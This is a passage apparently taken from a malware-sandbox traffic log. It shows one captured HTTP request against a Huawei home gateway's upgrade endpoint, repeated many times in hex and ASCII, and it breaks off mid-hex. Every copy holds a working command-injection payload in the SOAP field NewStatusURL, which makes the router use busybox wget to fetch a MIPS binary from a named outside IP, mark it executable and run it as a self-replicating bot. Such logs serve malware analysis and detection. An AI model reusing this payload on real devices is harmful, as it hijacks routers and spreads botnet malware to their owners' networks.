75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 